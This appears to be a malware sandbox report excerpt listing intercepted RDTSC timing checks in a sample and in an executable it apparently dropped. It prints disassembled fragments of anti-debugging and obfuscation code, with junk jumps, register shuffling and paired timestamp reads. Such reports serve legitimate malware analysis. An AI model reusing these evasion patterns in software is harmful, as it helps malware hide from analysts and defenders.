Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7FF9 second address: 14B7FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B8118 second address: 14B811C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B811C second address: 14B8120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC377 second address: 14BC3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD5Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007F7E0935AD56h 0x00000011 jmp 00007F7E0935AD67h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a jmp 00007F7E0935AD61h 0x0000001f pushad 0x00000020 jmp 00007F7E0935AD5Eh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC5DE second address: 14BC5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F7E090B9406h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC5EA second address: 14BC5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC68E second address: 14BC692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC692 second address: 14BC6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7E0935AD5Fh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F7E0935AD67h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC6C2 second address: 14BC6D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E090B940Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC6D3 second address: 14BC716 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov edx, dword ptr [ebp+122D36E6h] 0x00000010 mov ax, di 0x00000013 popad 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F7E0935AD58h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 6DB38BD5h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push ecx 0x00000039 pop ecx 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC958 second address: 14BC95C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BDE1C second address: 14BDE23 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399A19 second address: 1399A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399A1D second address: 1399A54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jng 00007F7E0935AD73h 0x00000010 jmp 00007F7E0935AD67h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70346 second address: 4C7034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7034A second address: 4C70350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70350 second address: 4C703C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, FEh 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7E090B940Ch 0x00000011 push eax 0x00000012 jmp 00007F7E090B940Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F7E090B9414h 0x0000001f adc si, EBA8h 0x00000024 jmp 00007F7E090B940Bh 0x00000029 popfd 0x0000002a push eax 0x0000002b push edx 0x0000002c pushfd 0x0000002d jmp 00007F7E090B9416h 0x00000032 and eax, 05975E08h 0x00000038 jmp 00007F7E090B940Bh 0x0000003d popfd 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7043A second address: 4C70481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7E0935AD67h 0x00000009 or si, 8E6Eh 0x0000000e jmp 00007F7E0935AD69h 0x00000013 popfd 0x00000014 mov di, cx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70481 second address: 4C70487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70487 second address: 4C704AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F7E0935AD5Ch 0x00000012 pop ecx 0x00000013 movsx edx, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704AE second address: 4C704CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E090B9418h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704CA second address: 4C704DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, 31h 0x0000000e mov dx, 21D8h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704DD second address: 4C704FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7E090B940Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704FF second address: 4C70505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70505 second address: 4C7050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7050B second address: 4C7050F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7050F second address: 4C7053C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9418h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7E090B940Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7053C second address: 4C7054B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7054B second address: 4C70551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4F32 second address: 13D4F37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70567 second address: 4C7056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7056B second address: 4C7056F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7056F second address: 4C70575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70575 second address: 4C70587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E0935AD5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70587 second address: 4C7058B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7058B second address: 4C7063B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F7E0935AD5Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F7E0935AD5Eh 0x00000018 adc eax, 004D75B8h 0x0000001e jmp 00007F7E0935AD5Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F7E0935AD68h 0x0000002a xor esi, 27763018h 0x00000030 jmp 00007F7E0935AD5Bh 0x00000035 popfd 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 jmp 00007F7E0935AD66h 0x0000003e pop ebp 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F7E0935AD5Dh 0x00000047 pushfd 0x00000048 jmp 00007F7E0935AD60h 0x0000004d or ch, FFFFFFD8h 0x00000050 jmp 00007F7E0935AD5Bh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C706F2 second address: 4C7070E instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7E090B940Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C707EB second address: 4C7086C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 mov dx, 8F6Eh 0x00000014 popad 0x00000015 dec edi 0x00000016 pushad 0x00000017 call 00007F7E0935AD5Bh 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f pushfd 0x00000020 jmp 00007F7E0935AD5Fh 0x00000025 and cx, 5CCEh 0x0000002a jmp 00007F7E0935AD69h 0x0000002f popfd 0x00000030 popad 0x00000031 lea ebx, dword ptr [edi+01h] 0x00000034 jmp 00007F7E0935AD5Eh 0x00000039 mov al, byte ptr [edi+01h] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7086C second address: 4C70871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70871 second address: 4C70877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70877 second address: 4C708D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 jmp 00007F7E090B940Ch 0x0000000e test al, al 0x00000010 jmp 00007F7E090B9410h 0x00000015 jne 00007F7E7A6715E7h 0x0000001b pushad 0x0000001c mov bh, al 0x0000001e call 00007F7E090B9413h 0x00000023 mov esi, 7419987Fh 0x00000028 pop ecx 0x00000029 popad 0x0000002a mov ecx, edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F7E090B940Dh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C708D4 second address: 4C708DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C708DA second address: 4C70958 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 call 00007F7E090B9416h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f shr ecx, 02h 0x00000012 pushad 0x00000013 push edx 0x00000014 mov esi, 27677599h 0x00000019 pop eax 0x0000001a jmp 00007F7E090B940Fh 0x0000001f popad 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 rep movsd 0x00000026 rep movsd 0x00000028 rep movsd 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ebx, 55B1BFE6h 0x00000032 pushfd 0x00000033 jmp 00007F7E090B9417h 0x00000038 sbb ecx, 744E3A6Eh 0x0000003e jmp 00007F7E090B9419h 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70958 second address: 4C70975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70975 second address: 4C7097B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7097B second address: 4C70990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E0935AD61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70990 second address: 4C709F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 03h 0x0000000e jmp 00007F7E090B940Eh 0x00000013 rep movsb 0x00000015 jmp 00007F7E090B9410h 0x0000001a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000021 pushad 0x00000022 mov ax, 836Dh 0x00000026 mov ebx, eax 0x00000028 popad 0x00000029 mov eax, ebx 0x0000002b jmp 00007F7E090B9414h 0x00000030 mov ecx, dword ptr [ebp-10h] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C709F8 second address: 4C709FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C709FC second address: 4C70A00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A00 second address: 4C70A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A06 second address: 4C70A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A2B second address: 4C70A31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A31 second address: 4C70667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007F7E090B9410h 0x0000000f pop edi 0x00000010 jmp 00007F7E090B9410h 0x00000015 pop esi 0x00000016 pushad 0x00000017 mov edi, ecx 0x00000019 pushfd 0x0000001a jmp 00007F7E090B940Ah 0x0000001f or si, A688h 0x00000024 jmp 00007F7E090B940Bh 0x00000029 popfd 0x0000002a popad 0x0000002b pop ebx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F7E090B9414h 0x00000033 adc eax, 343D08E8h 0x00000039 jmp 00007F7E090B940Bh 0x0000003e popfd 0x0000003f movzx ecx, bx 0x00000042 popad 0x00000043 leave 0x00000044 jmp 00007F7E090B940Bh 0x00000049 retn 0008h 0x0000004c cmp dword ptr [ebp-2Ch], 10h 0x00000050 mov eax, dword ptr [ebp-40h] 0x00000053 jnc 00007F7E090B9405h 0x00000055 push eax 0x00000056 lea edx, dword ptr [ebp-00000590h] 0x0000005c push edx 0x0000005d call esi 0x0000005f push 00000008h 0x00000061 pushad 0x00000062 movzx esi, bx 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70BCF second address: 4C70BF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, CE94h 0x00000007 push edi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7E0935AD61h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70BF1 second address: 4C70BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70BF5 second address: 4C70BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C8D89 second address: 2C8D93 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7E090B9406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C8D93 second address: 2C8D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C8D9C second address: 2C8DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7E090B9406h 0x0000000a pop ebx 0x0000000b jmp 00007F7E090B9417h 0x00000010 popad 0x00000011 je 00007F7E090B9429h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7E090B9419h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B106D second address: 2B1073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B1073 second address: 2B1077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B1077 second address: 2B1085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F7E0935AD58h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B1085 second address: 2B1093 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F7E090B9406h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C86AA second address: 2C86BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD60h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C86BF second address: 2C86C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C86C5 second address: 2C86D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jl 00007F7E0935AD80h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C86D6 second address: 2C86DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2C86DA second address: 2C86E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F7E0935AD56h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB6B5 second address: 2CB6CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jns 00007F7E090B9406h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB6CB second address: 2CB6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB6D0 second address: 2CB6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB6D6 second address: 2CB6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB6DA second address: 2CB6F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7E090B9411h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB6F9 second address: 2CB722 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7E0935AD5Ch 0x00000008 jl 00007F7E0935AD56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jmp 00007F7E0935AD63h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB722 second address: 2CB72C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB72C second address: 2CB750 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jc 00007F7E0935AD6Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7E0935AD60h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB7B9 second address: 2CB802 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F7E090B9411h 0x0000000c pop edi 0x0000000d popad 0x0000000e nop 0x0000000f mov di, ECA0h 0x00000013 push 00000000h 0x00000015 call 00007F7E090B9409h 0x0000001a jnp 00007F7E090B9419h 0x00000020 push eax 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
